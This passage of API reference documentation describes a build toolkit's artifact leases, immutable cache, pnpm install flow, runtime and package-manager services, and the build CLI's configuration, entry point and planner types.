`ArtifactGc`. See [Reclaim disk space](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/artifacts/docs/guides/reclaim-disk-space.md).

## ArtifactBackupLease

`@smthrs/artifacts/ArtifactBackupLease`. Cross-process exclusion between a
filesystem backup and sweep deletion.

```ts
declare const withLease: <A, E, R, E2>(
  fs: FileSystem,
  directory: string,
  effect: Effect<A, E, R>,
  failure: (cause: unknown) => E2
) => Effect<A, E | E2, R>

declare const unlessActive: <A, E, R, E2>(
  fs: FileSystem,
  directory: string,
  effect: Effect<A, E, R>,
  failure: (cause: unknown) => E2
) => Effect<Option<A>, E | E2, R>
```

`withLease` holds a heartbeat-backed marker while `effect` runs, so no sweep in
any process using `directory` can delete a blob. Publication stays
unconstrained: new blobs may appear during a backup, but a blob already
referenced by the frozen database cannot disappear underneath it. Acquisition
gives up after 2 minutes and fails through `failure`. A crashed lease becomes
reclaimable once its heartbeat is 60 seconds stale, and finding no marker to
release is the ordinary end of a slow lease rather than a fault.

`unlessActive` checks the marker and runs `effect` under the same
workspace-global gate, so the check and the operation cannot be separated. It
returns `None` when a live backup deliberately fenced the operation, which
`ArtifactSweep.remove` reports as `false`.

`failure` maps an unknown host cause into the caller's error type, which is how
these combinators stay usable from a tool with its own error channel. Lease
ownership loss and backup heartbeat expiry carry an `ArtifactStoreError`
with code `unavailable` into that mapping. See
[Fence a backup against the sweep](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/artifacts/docs/guides/fence-a-backup.md).

## FileLease

`@smthrs/artifacts/FileLease`. The cross-process lock-file lease under the
per-digest locks and `ArtifactBackupLease`, exported for other packages that
need the same fence; `@smthrs/engine-store` uses it for the workspace commit
lock.

```ts
declare const withLease: <A, E, R, E2>(
  fs: FileSystem,
  lockPath: string,
  effect: Effect<A, E, R>,
  failure: (cause: unknown) => E2,
  options?: Options
) => Effect<A, E | E2, R>

declare const hold: <A, E, R, E2>(
  fs: FileSystem,
  lockPath: string,
  effect: Effect<A, E, R>,
  failure: (cause: unknown) => E2,
  options?: HoldOptions
) => Effect<A, E | E2, R>
```

`withLease` creates `lockPath` with `wx`, writes a unique owner token, and
refreshes its mtime while `effect` runs. It reclaims a lock whose mtime is
older than the stale bound, at most once per lock generation, and fails with
`failure(TimeoutError)` when acquisition misses its deadline. Every other host
refusal reaches `failure` as the `PlatformError`. A directory at `lockPath` is
treated as a lock with no readable owner and reclaimed on the same bound.
`hold` is the same lease without a deadline, for a caller that bounds a wider
wait itself; `onAcquired` runs once the lease is held. `guard`, when given,
runs before every create, heartbeat, rename, and remove of the lock, claim, or
tombstone, and its failure refuses that step through `failure`. Both fail
through `failure` with a `RangeError`, before touching the lock, unless
`0 < heartbeatEvery < staleAfterMs` and `staleAfterMs` is finite: a shorter
stale bound would let a contender reclaim a live holder's lock.

| Option           | Default        | Meaning                                          |
| ---------------- | -------------- | ------------------------------------------------ |
| `heartbeatEvery` | `"10 seconds"` | How often the holder refreshes the lock's mtime. |
| `staleAfterMs`   | `60_000`       | Age past which a lock or reclaim claim is stale. |
| `acquireWithin`  | `"2 minutes"`  | Acquisition deadline (`withLease` only).         |
| `retryEvery`     | `"25 millis"`  | Sleep between attempts while contended.          |
| `label`          | `"File lease"` | Names the lock in the reclaimed-holder warning.  |
| `annotations`    | none           | Extra fields logged with that warning.           |

The host needs exclusive `wx` file creation, `readFileString`, `stat` with an
mtime, `utimes`, `rename`, and `remove`. Reclaim writes siblings named
`<lockPath>.reclaim-<token>` and `<lockPath>.stale-<token>`. The fence is
bounded: see [Coordination](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/artifacts/docs/concepts/coordination.md).

## ArtifactStoreMetrics

`@smthrs/artifacts/ArtifactStoreMetrics`. Metric handles only; no exporter
ships in this package.

| Export           | Counter                          | Updated by                                                                                              |
| ---------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------- |
| `puts`           | `flows_artifact_puts`            | Successful filesystem and memory puts, including deduplicated ones.                                     |
| `gets`           | `flows_artifact_gets`            | Successful filesystem and memory gets.                                                                  |
| `remoteFailures` | `flows_artifact_remote_failures` | Shared uploads and local write-backs `CombinedArtifacts` dropped, by `operation` (`put`, `write_back`). |

`remoteFailure.put` and `remoteFailure.write_back` are the attributed views.
Drops also log a warning naming the operation and error code, at most once a
minute per operation.

`RemoteArtifacts` is deliberately uninstrumented and the counters carry no tier
attribute, so read them as local artifact store traffic. A combined read the
shared tier serves increments no get; the write-back that materializes it
increments a put indistinguishable from a producer publishing new bytes.
Missing and corrupt reads are counted nowhere: they are error evidence, not
throughput.

## ImmutableCache

Bytes under an immutable content address, over any backend with the Web Cache
API's `match` and `put`. Use it for content that never changes at its key,
such as a file at a commit SHA: there is no invalidation and no expiry, and a
backend may evict an entry at any time.

```ts
import { ImmutableCache } from "@smthrs/artifacts"

const program = ImmutableCache.readThrough(
  ImmutableCache.key("repo.blob", "acme/widgets", sha, "src/index.ts"),
  Effect.succeed({ bytes, metadata: { blobSha } })
).pipe(Effect.provide(ImmutableCache.layerMemory()))
```

### Keys and entries

```ts
interface Key {
  readonly namespace: string
  readonly parts: ReadonlyArray<string>
}
const key: (namespace: string, ...parts: ReadonlyArray<string>) => Key

interface Entry {
  readonly bytes: Uint8Array
  readonly metadata: Readonly<Record<string, string>>
}
```

- `namespace` names the kind of content and appears in telemetry, so it must
  be a short label: a lowercase letter, then lowercase letters and digits,
  optionally joined by `.`, `_` or `-`, at most 64 characters. A call with
  any other namespace dies.
- `parts` name one item and are free text. The backend sees only the SHA-256
  of their JSON, at `https://immutable-cache.invalid/v1/<namespace>/<hex>`, so
  `["a/b"]` and `["a", "b"]` are different keys and no part leaves the cache.
- `metadata` holds small strings such as the content's own hash. It is stored
  as a percent-encoded response header.

### The contract

```ts
interface Service {
  readonly get: (key: Key) => Effect<Option<Entry>, ImmutableCacheError>
  readonly put: (key: Key, entry: Entry) => Effect<"stored" | "too_large", ImmutableCacheError>
}
```

| Member | Behavior                                                                                                                                                                                                                                  |
| ------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `get`  | The entry at `key`, or `None` on a miss. Every hit returns a new array.                                                                                                                                                                   |
| `put`  | Stores a copy of `entry` and answers `stored`. An entry with more than `maxEntryBytes` of bytes, or more than `maxMetadataBytes` (1,024) of UTF-8 JSON metadata, stores nothing and answers `too_large`. Storing a key again replaces it. |

`ImmutableCache` is the service tag, with identity
`@smthrs/artifacts/ImmutableCache`.

### `readThrough`

```ts
const readThrough: <E, R>(key: Key, compute: Effect<Entry, E, R>) => Effect<Entry, E, R | ImmutableCache>
```

Answers from the cache, else runs `compute`, stores its entry and answers it.

- A failed `compute` fails the read and stores nothing, so an error is never
  cached.
- A cache that fails counts as a miss on `get` and is skipped on `put`, with
  one warning log annotated with `backend`, `namespace`, `operation`, `reason`
  and `error.type`. The read still answers.
- An entry over the bounds is answered and not stored.

### Layers and constructors

| Export                                             | Use                                                                                                                                                                                                                      |
| -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `layerMemory(options?)`                            | Memory, labelled `memory`, for Node and tests. `maxTotalBytes` (default 64 MiB) bounds everything held; past it the least recently used entries go. `maxEntryBytes` defaults to 8 MiB and never exceeds `maxTotalBytes`. |
| `layerWebCache({ backend, open, maxEntryBytes? })` | Over the `WebCache` that `open` answers. `undefined`, a rejection or a throw fails the layer with `unavailable`. Host packages build their layers on it.                                                                 |
| `make(cache, { backend, maxEntryBytes? })`         | The service over a `WebCache`, without a layer.                                                                                                                                                                          |
| `makeMemoryWebCache(maxTotalBytes?)`               | A `WebCache` in memory, least recently used first.                                                                                                                                                                       |

```ts
interface WebCache {
  readonly match: (url: string) => Promise<Response | undefined>
  readonly put: (url: string, response: Response) => Promise<void>
}
```

A browser's `caches.open(name)` and a Worker's `caches.default` both satisfy
`WebCache`. The host layers are `EdgeCache.layer` in
[`@smthrs/platform-cloudflare`](/docs/reference/api/platform-cloudflare/) and
`BrowserCache.layer` in [`@smthrs/platform-browser`](/docs/reference/api/platform-browser/).
Each stored response carries `Cache-Control: public, max-age=31536000,
immutable`, which the Workers cache needs before it stores anything.

### `ImmutableCacheError`

| Field       | Meaning                                                                                                                                                                           |
| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `backend`   | The layer's label: `memory`, `cloudflare`, `browser` or your own.                                                                                                                 |
| `operation` | `open` (building the layer), `get` or `put`.                                                                                                                                      |
| `reason`    | `unavailable` (no cache, or it refused to open), `failed` (the backend refused the call, for example over its quota) or `corrupt` (a stored entry whose metadata it cannot read). |
| `errorName` | The backend's error name, such as `QuotaExceededError`, when it threw one. Never its message.                                                                                     |

### Constants and metrics

| Export                 | Value                                                                                                                                                     |
| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `defaultMaxEntryBytes` | 8 MiB                                                                                                                                                     |
| `maxMetadataBytes`     | 1,024                                                                                                                                                     |
| `defaultMaxTotalBytes` | 64 MiB                                                                                                                                                    |
| `requests`             | Counter `immutable_cache_requests`, by `backend`, `namespace`, `operation` and `outcome`: `hit`, `miss`, `stored`, `too_large`, `failed` or `interrupted` |
| `bytes`                | Counter `immutable_cache_bytes`, by `backend`, `namespace` and `operation`: a hit's bytes on `get`, the stored bytes on `put`                             |

Each call is one span, `ImmutableCache.get` or `ImmutableCache.put`, with the
attributes `immutable_cache.backend`, `immutable_cache.namespace`,
`immutable_cache.outcome` and `immutable_cache.bytes`. No key part, byte or
metadata value reaches a span, a log or a metric.

## Reclaiming published blobs

Reclaiming published blobs never happens as a side effect of a store call. The
filesystem store sweeps only stale scratch and lock files. The mark policy and
grace period for published blobs belong to
[`@smthrs/engine-store`](/docs/reference/api/engine-store/), which also owns artifact
publication ordering.

---

# @smthrs/build
https://smithers.sh/docs/reference/api/build/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/docs)

> **Related APIs:** [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/plan`](/docs/reference/api/plan/)

`@smthrs/build` exports three namespaces from its root:

```ts
import { Install, PackageManager, Runtime } from "@smthrs/build"
```

Each is also a subpath, so `@smthrs/build/Install` imports the same module. The
`internal/` subpath is not exported.

The three answer three questions: which interpreter the host runs, which package
manager does the work, and what the work is made of.

## Install

`Install.Install` is the flow. Its payload names the manager, its success value
is a link manifest, and its error channel is `PackageManagerError`:

```ts
import * as Install from "@smthrs/build/Install"

const flow = Install.Install // Flow<"smithers-build/install", { manager }, LinkManifest, PackageManagerError>
```

The body is pure. It records nodes and executes nothing, in one round, and the
manager is a plan-time value rather than a measured one, which is what lets the
body select exactly one fetch action statically.

### Actions

| Export      | Action id                           | What it does                                                                                                                                                        |
| ----------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Measure`   | `smithers-build/install/measure`    | Records the lockfile digest and the credential-free `.npmrc` digest.                                                                                                |
| `FetchPnpm` | `smithers-build/install/fetch/pnpm` | Populates `.flows/store/pnpm` from `pnpm-lock.yaml`. Also writes pnpm's virtual store, `node_modules/.pnpm/**` and `node_modules/.modules.yaml`, and declares both. |
| `Link`      | `smithers-build/install/link`       | Reconciles `node_modules` from the populated store.                                                                                                                 |

Every action uses an `expected` filesystem boundary, and none is admitted to a
cross-run engine cache. A package-manager child process cannot freeze its
lockfile and `.npmrc` across its own opens, and a linked tree is a graph of links
into a host-local store, so restoring one from another machine would produce a
tree pointing at nothing. `link` therefore always runs.

### Values and layers

| Export                                          | What it is                                                                            |
| ----------------------------------------------- | ------------------------------------------------------------------------------------- |
| `Content`                                       | The schema of what an install is keyed on: manager, lockfile digest, `.npmrc` digest. |
| `LinkManifest`                                  | The schema of the flow's success value.                                               |
| `payloadFields`                                 | The payload fields, `{ manager }`; `manager` admits only `"pnpm"`.                    |
| `executeMeasure`, `executeFetch`, `executeLink` | The Effect implementations behind the three actions.                                  |
| `MeasureLive`, `FetchPnpmLive`, `LinkLive`      | One layer per action.                                                                 |
| `layer`                                         | All three merged, which is what an executor provides.                                 |

## PackageManager

`PackageManager.Service` is the two-verb contract every manager implements:
`fetch` populates the store, `link` materializes `node_modules`. `verify`
measures the host manager and fails when it does not satisfy the declared
`requirement`; both verbs call it first. Each live service instance lazily
memoizes its version probe and the validated `.npmrc` environment selection,
including failures. Every `verify` compares that measurement with the declaration.
Rebuild the layer to measure changes to the executable or project configuration.

On Windows the default resolves the first `pnpm.cmd` on the supplied environment's
`PATH` to adjacent `node_modules/pnpm/bin/pnpm.cjs`, then runs that file with the
runtime service's executable. No shell is used. An unresolved shim fails with
`environment_mismatch`; a native `executable` override supports other layouts.

`linkedTreeManifest` reports store identity, the root package manifest, and manager
metadata. It is not an installed-tree freshness or integrity proof.

```ts
import * as PackageManager from "@smthrs/build/PackageManager"

const layer = PackageManager.layerPnpm({
  projectRoot: "/abs/path/to/workspace",
  requirement: "11.21.0"
})
```

| Export                                                                                                                       | What it is                                                                                                                                                       |
| ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PackageManager`                                                                                                             | The service tag, `smithers-build/PackageManager`.                                                                                                                |
| `Service`                                                                                                                    | The contract: `name`, `projectRoot`, `storeDirectory`, `lockfileName`, `platformSensitive`, `requirement`, `version`, `verify`, `fetch`, `link`, `linkManifest`. |
| `Options`                                                                                                                    | Layer options: `projectRoot`, `requirement`, and optional `environment`, `timeoutMs`, `executable`.                                                              |
| `makePnpm`, `layerPnpm`                                                                                                      | The live pnpm implementation.                                                                                                                                    |
| `makeBun`, `layerBun`                                                                                                        | The Bun seam for tool-running targets. It resolves, then refuses with `code: "unsupported"`.                                                                     |
| `bunInstallUnsupportedMessage`, `bunInstallUnsupported`                                                                      | The refusal text, and the typed `unsupported` error, every install entry point returns for a Bun manager.                                                        |
| `makeNoop`, `layerNoop`                                                                                                      | A service that satisfies the tag without touching a host, for tests.                                                                                             |
| `PackageManagerError`, `ErrorCode`                                                                                           | The tagged error and its code union.                                                                                                                             |
| `Name`                                                                                                                       | The manager union, `"pnpm"` or `"bun"`.                                                                                                                          |
| `storeRoot`                                                                                                                  | `".flows/store"`, the fixed store parent.                                                                                                                        |
| `maximumNpmrcBytes`, `maximumLockfileBytes`, `maximumPackageJsonBytes`, `defaultCommandTimeoutMs`, `maximumCommandTimeoutMs` | The bounds every read and every child process is held to.                                                                                                        |

The Bun refusal is deliberate. Bun has no fetch-only or offline install
command, so no install accepts it: the `Install` target, the planner,
`runInstall`, and the install Flow payload each refuse a Bun manager at
configuration time with `bunInstallUnsupportedMessage`. The layer stays so a
target that runs tools under Bun can compose it.

## Runtime

`Runtime.Service` is the interpreter seam. It reports the declared
`requirement`, the host `platform` it was built for, the measured `version`, and
`verify`, which fails when the host does not satisfy the declaration. Each live
service instance lazily memoizes the interpreter version probe, including failures.
Every `verify` compares that measurement with the declaration; rebuild the layer
to measure a changed interpreter.

```ts
import * as Runtime from "@smthrs/build/Runtime"

const layer = Runtime.layerNode({
  requirement: ">=22.19.0",
  platform: { os: "linux", arch: "x64", libc: "glibc" },
  environment: process.env
})
```

| Export                                                   | What it is                                                        |
| -------------------------------------------------------- | ----------------------------------------------------------------- |
| `Runtime`                                                | The service tag, `smithers-build/Runtime`.                        |
| `Service`, `Options`                                     | The contract and its layer options.                               |
| `layerNode`, `layerBun`, `layerNoop`, `make`, `makeNoop` | Implementations.                                                  |
| `satisfies`                                              | The comparator a declared requirement is checked with.            |
| `RuntimeError`, `ErrorCode`                              | The tagged error and its code union.                              |
| `Platform`, `Name`                                       | The host facts schema, and the runtime union `"node"` or `"bun"`. |
| `probeTimeoutMs`, `maximumVersionOutputBytes`            | The default probe deadline and maximum stdout bytes.              |

`Options.environment` supplies the host environment. A version probe receives
only `PATH`, `PATHEXT`, `SYSTEMROOT`, and `WINDIR` from that record. When omitted,
the live service selects those names from `globalThis.process?.env` at
construction, or uses an empty environment on hosts without `process`.
Other ambient variables are never forwarded. Windows lookup is case-insensitive.

`Options.probeTimeoutMs` sets the version-probe deadline in milliseconds. It
must be an integer from 1 to 30,000 and defaults to `probeTimeoutMs` (30,000).
A deadline failure reports `code: "probe_failed"` and `did not finish within`.

`satisfies` accepts an exact version or one comparator (`=`, `>=`, `>`, `<=`,
`<`). It rejects compound ranges, unions, whitespace-separated terms, and
malformed suffixes as `unsupported_requirement`.
An exact stable pin rejects prereleases. An exact prerelease pin accepts only
the same numeric version and prerelease identity; build metadata is ignored.
For ordering comparators against a release bound, the measured prerelease and
build suffixes are ignored: `>=1.3.0` accepts `1.3.0-canary.2`. When the bound
names a prerelease, semver precedence breaks a tie on the release version:
`>=1.0.0-rc.2` rejects `1.0.0-rc.1` and accepts `1.0.0`.

## Related packages

The declarations these services are configured from live in
[`@smthrs/targets`](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/targets), and the executor that provides the layers
lives in [`@smthrs/build-cli`](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/build-cli). For the flow model itself, see
[`@smthrs/flow`](/docs/reference/api/flow/); for the command line everything sits under, see
[`@smthrs/cli`](/docs/reference/api/cli/).

---

# @smthrs/build-cli
https://smithers.sh/docs/reference/api/build-cli/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/build-cli/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/build-cli/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/build/build-cli/docs)

> **Related APIs:** [`@smthrs/build`](/docs/reference/api/build/) · [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/engine`](/docs/reference/api/engine/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/keys`](/docs/reference/api/keys/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/platform-node`](/docs/reference/api/platform-node/) · [`@smthrs/registry`](/docs/reference/api/registry/) · [`@smthrs/targets`](/docs/reference/api/targets/)

```ts
import { cli, makeCli, Planner, Workspace } from "@smthrs/build-cli"
// or, by module path
import * as Reporter from "@smthrs/build-cli/Reporter"
```

The root barrel is a curated convenience, not the boundary. `package.json`
enumerates every public module as its own subpath, generated by
`packages/smithers/build/build-cli/scripts/public-export-map.mjs`, so a module is importable by its own path
whether or not the barrel names it. A module earns a place in the barrel when
a host embedding the CLI drives it directly.

`@smthrs/build-cli/internal/*` and `@smthrs/build-cli/index` are not public.
`@smthrs/build-cli/package.json` is exported.

Several names repeat across modules and mean different things. `GateRunner`,
`LabelResolver`, `CheckEntry`, `ErrorCode`, and `make` each exist in more than
one module. Always qualify them by module.

Effect types appear throughout. A `Layer` provides a service and an `Effect`
is the deferred computation a runtime executes.

Every refusal class is an Effect `Data.TaggedError` whose `_tag` is
`smithers-build/<ClassName>`, such as `smithers-build/GitHooksError`. Route it
with `Effect.catchTag`, or with `instanceof` from promise code. Each keeps its
documented fields and `message`.

## The CLI

### Affected and Watch process lifetime

`@smthrs/build-cli/Affected` exports `changedPaths(root, options)`,
`select(index, patterns, paths)`, and `AffectedGitError`. Discovery options include `base`, optional `head` or
`files`, and optional `signal`, `environment`, and `timeoutMs`. The timeout is
per Git invocation, defaults to 60,000 milliseconds, and must be an integer
from 1 through 86,400,000. Each output stream is limited to 16 MiB and decoded
as strict UTF-8. Explicit files bypass Git. An already aborted signal refuses
the call before discovery.

`AffectedGitError` carries `_tag` (`smithers-build/AffectedGitError`), `code`, the exact Git `args`, and `cause`.
Codes distinguish `timed_out`, `cancelled`, `nonzero_exit`, `process_failed`,
`output_limit`, `cleanup_failed`, and `invalid_timeout`. Cleanup completes
before timeout or cancellation is reported, adding up to five seconds of TERM
grace and five seconds to verify disappearance after KILL. The CLI passes its
runtime signal and environment through to discovery.

`@smthrs/build-cli/Watch.run` resolves a cycle and invokes `cycleCompleted`
only after its owned POSIX process group is gone. File changes, watcher errors,
and the caller's signal all await that cleanup. Cleanup failure rejects the
watch instead of starting another cycle. See [Commands](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/build-cli/docs/cli.md) for the
platform and parent-crash limits. Workspace rescan failures that are not
`Error` instances carry `PackageError` with code `watch_refresh_failed`
and preserve the original `cause`.

Trusted review refuses duplicate or inconsistent index labels with the tagged
`smithers-build/ReviewRefused` error and code `invalid_index_labels`. A proposed
policy projection exceeding the review file limit uses the same tag with code
`policy_changes_too_large`. Both preserve the operator diagnostic in `message`.

### makeCli

```ts
const makeCli: (config?: RuntimeConfig) => Cli
```

Creates the configured `smithers-build` CLI. The [command reference](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/build-cli/docs/cli.md)
is the complete command inventory. `serve(argv, { exit, stdout })` runs one
invocation. Every field of `config` replaces something the process would otherwise read for itself,
which is what makes an invocation testable. See
[Embed the CLI in another program](https://github.com/smithersai/smithers/blob/main/packages/smithers/build/build-cli/docs/guides/embed-the-cli.md).

### cli

```ts
const cli: Cli
```

`makeCli()` with no configuration: no process-scoped remote cache credentials,
no interruption signal, and no exit hook.

### RuntimeConfig

```ts
interface RuntimeConfig {
  readonly cliName?: string | undefined
  readonly cliVersion?: string | undefined
  readonly cliDescription?: string | undefined
  readonly sync?: { cwd?: string | undefined; include?: Array<string> | undefined } | undefined
  readonly cacheUrl?: string | undefined
  readonly cacheToken?: string | undefined
  readonly cacheSteps?: ReturnType<typeof Cli.create> | undefined
  readonly signal?: AbortSignal | undefined
  readonly environment?: Readonly<Record<string, string | undefined>> | undefined
  readonly stdout?: Reporter.Terminal | undefined
  readonly stderr?: Reporter.Terminal | undefined
  readonly presentation?: Audience.Policy | undefined
  readonly exit?: ((code: number) => void) | undefined
  readonly approvals?: PackageExec.TargetApprovals | undefined
}
```

Process-scoped configuration captured before declaration evaluation. Every
field is optional and replaces something the process would otherwise supply.
This block is the one copy; the other pages link here.

| Field            | Replaces                                                                                                                      |
| ---------------- | ----------------------------------------------------------------------------------------------------------------------------- |
| `cliName`        | The binary name in help and usage output. Defaults to `smithers-build`.                                                       |
| `cliVersion`     | The version `--version` prints. Defaults to this package's version.                                                           |
| `cliDescription` | The one-line description help output leads with.                                                                              |
| `sync`           | `skills add`'s sources: `include` globs the `SKILL.md` directories under `cwd` (default `process.cwd()`).                     |
| `cacheUrl`       | `SMITHERS_CACHE_URL`, already captured by the caller.                                                                         |
| `cacheToken`     | `SMITHERS_CACHE_TOKEN`, already captured by the caller.                                                                       |
| `cacheSteps`     | Nothing by default. An Incur CLI mounted under `cache`, so `cache steps` runs the unified CLI's durable step-cache commands.  |
| `signal`         | The interruption source. Aborting it aborts every running target.                                                             |
| `environment`    | `process.env`, read for agent-fake selection, `PATH` lookups, and preconditions.                                              |
| `stdout`         | `process.stdout` as a `Reporter.Terminal`.                                                                                    |
| `stderr`         | `process.stderr` as a `Reporter.Terminal`.                                                                                    |
| `presentation`   | The ambient audience facts detection would read. `Audience.resolve` seeds from this policy; explicit flags still override it. |
| `exit`           | The exit-code setter. Omit it and a failure returns the structured error.                                                     |

`approvals` supplies the durable approval store for targets declaring
`approval: "required"`; they refuse execution when no store is supplied.

`exit` records the exit code of a failure a human renderer has already
explained, so the envelope's error block is not printed twice; without it the
structured error is returned instead.

### normalizeArgv

```ts
const normalizeArgv: (argv: ReadonlyArray<string>) => ReadonlyArray<string>
```

Available from `@smthrs/build-cli/Cli`. Rewrites an argv whose first token
starts with `//` or `:` into `["target", ...argv]`. Every other argv passes
through unchanged.

## The process entry

From `@smthrs/build-cli/Entry`.

### Entry.Host

```ts
interface Host {
  readonly argv: ReadonlyArray<string>
  readonly env: Record<string, string | undefined>
  readonly stdout: Reporter.Terminal
  readonly stderr: Reporter.Terminal
  readonly on: (signal: "SIGINT" | "SIGTERM", listener: () => void) => void
  readonly removeListener: (signal: "SIGINT" | "SIGTERM", listener: () => void) => void
  readonly setExitCode: (code: number) => void
}
```

The slice of `process` the entry point touches. `on` must register a
persistent listener, never a one-shot one: the service supervisor's orphan
backstop reads `listenerCount(signal)` to decide whether to hard-kill, and
Node removes a one-shot listener before invoking it.

### Entry.main

```ts
const main: (host: Host) => Promise<void>
```

Runs one invocation against a host. `SMITHERS_CACHE_URL` and
`SMITHERS_CACHE_TOKEN` are read once and deleted from `host.env` before any
declaration evaluates. A signal aborts every running target and the process
exits 1 whatever the command was about to report.

## The install adapter

From `@smthrs/build-cli` and `@smthrs/build-cli/engine`. This is the runtime
adapter between the CLI and [`@smthrs/build`](https://github.com/smithersai/smithers/tree/main/packages/smithers/build); every
assumption about that package's exports lives in one file.

### runInstall

```ts
const runInstall: (
  workspaceRoot: string,
  options?: {
    readonly cacheDirectory?: string | undefined
    readonly sensitiveEnvironment?: ReadonlyArray<string> | undefined
    readonly signal?: AbortSignal | undefined
    readonly toolchain?: Toolchain | undefined
  }
) => Promise<InstallResult>
```

Plans and executes the install flow under the declared toolchain, or under
`defaultToolchain` when the caller passes none. It refuses any
`cacheDirectory` other than `.flows`, because the package manager's store
boundary is fixed at `.flows/store`. Scoped per call, so concurrent callers
may run against different workspaces at once.

### InstallResult

```ts
interface InstallResult {
  readonly workspace: string
  readonly manager: PackageManager.Name
  readonly plan: ReadonlyArray<{
    readonly id: string
    readonly kind: string
    readonly dependencies: ReadonlyArray<string>
  }>
  readonly result: Install.LinkManifest
}
```

### Toolchain and defaultToolchain

```ts
interface Toolchain {
  readonly manager: PackageManager.Name
  readonly managerVersion: string
  readonly managerExecutable: string | undefined
  readonly runtime: Runtime.Name
  readonly runtimeVersion: string
  readonly runtimeExecutable: string | undefined
}

const defaultToolchain: Toolchain
```

`defaultToolchain` is pnpm on node with no version constraint, used when a
target declares none.

### The rest of the engine module

| Export                            | Signature                                                                                    | What it is                                                    |
| --------------------------------- | -------------------------------------------------------------------------------------------- | ------------------------------------------------------------- |
| `declaredToolchain`               | `(attrs: unknown) => Toolchain`                                                              | The toolchain a target declared, falling back to the default. |
| `packageManagerEnvironment`       | `(source, sensitiveEnvironment?, windows?) => Readonly<Record<string, string \| undefined>>` | The host environment without remote-cache credentials.        |
| `layerRuntime`                    | `(toolchain: Toolchain, environment?) => Layer`                                              | The runtime layer for this host.                              |
| `layerPackageManager`             | `(projectRoot, toolchain?, sensitiveEnvironment?, source?) => Layer`                         | The package-manager layer over the declared runtime.          |
| `layerInstall`                    | `Layer`                                                                                      | The install action implementations plus the registered flow.  |
| `layerNonInteractiveNodeServices` | `Layer`                                                                                      | The Node host services non-interactive execution needs.       |

`layerNonInteractiveNodeServices` deliberately omits `NodeTerminal`. The
aggregate layer attaches stdin listeners, and acquiring it in sixteen
concurrent flow runtimes produced leak warnings during ordinary CI even though
no target reads a terminal.

## Planner

Labels, key material, and the inert plan. From `@smthrs/build-cli` or
`@smthrs/build-cli/Planner`.

| Export                      | Signature                                                                                                | What it is                                                                                     |
| --------------------------- | -------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------- |
| `Plan`                      | interface                                                                                                | A complete inert target plan: verb, pattern, roots, targets, edges, warnings.                  |
| `PlannedTarget`             | interface                                                                                                | One target in dependency-first plan order.                                                     |
| `PlannedEnvironment`        | interface                                                                                                | The resolved Nix environment recorded on a planned target.                                     |
| `Edge`                      | `{ readonly from: string; readonly to: string }`                                                         | One direct dependency edge.                                                                    |
| `KeyMaterial`               | `{ body: unknown; inputs: unknown; layers: ReadonlyArray<string>; capabilities: ReadonlyArray<string> }` | The four key fields the step-key law defines.                                                  |
| `encodeKeyMaterial`         | `(material: KeyMaterial) => string`                                                                      | Encodes key material into the injective byte string `keyOf` hashes.                            |
| `keyOf`                     | `(material: KeyMaterial) => string`                                                                      | The sha256 content key an executor caches on.                                                  |
| `targetKeyBody`             | `(target, metadata, outputs) => unknown`                                                                 | The persistent body identity of one target.                                                    |
| `attrsValue`                | `(value, depKeys, inputDigests, seen?, path?) => unknown`                                                | Canonicalizes attrs: target references become dependency keys, declared inputs become digests. |
| `fingerprintSources`        | `(roots: ReadonlyArray<SourceRoot>, options?) => Promise<string>`                                        | Digests the bytes of the implementation that will execute the plan.                            |
| `productionSourceRoots`     | `() => ReadonlyArray<SourceRoot>`                                                                        | The source trees whose bytes decide what an execution does.                                    |
| `implementationFingerprint` | `(signal?: AbortSignal) => Promise<string>`                                                              | The memoized fingerprint of the loaded implementation sources.                                 |
| `SourceRoot`                | `{ readonly name: string; readonly directory: string }`                                                  | One tree contributing to that fingerprint.                                                     |
| `EXECUTION_FORMAT`          | `number`                                                                                                 | Global cache-key salt for executor semantics.                                                  |
| `maximumSourceFileBytes`    | `number`                                                                                                 | Maximum bytes admitted from one implementation source file.                                    |
| `KeyMaterialError`          | class, carries `path`                                                                                    | A value in key material could not be encoded injectively.                                      |
| `UnsupportedVerbError`      | class, carries `pattern` and `verb`                                                                      | An exact target exists but does not participate in the requested verb.                         |

`PlannedTarget` is the row `--plan` prints:

```ts
interface PlannedTarget {
  readonly label: string
  readonly target: string
  readonly kinds: ReadonlyArray<Target.Kind>
  readonly attrs: unknown
  readonly dependencies: ReadonlyArray<string>
  readonly declaredInputs: ReadonlyArray<Workspace.ExpandedInput>
  readonly declaredOutputs: Target.DeclaredOutputs | undefined
  readonly cacheable: boolean
  readonly cacheLookup: "not-wired"
  readonly wouldRun: true
  readonly keyMaterial: KeyMaterial
  readonly keyPreview: string
  readonly nixEnvironment?: PlannedEnvironment | undefined
}
```

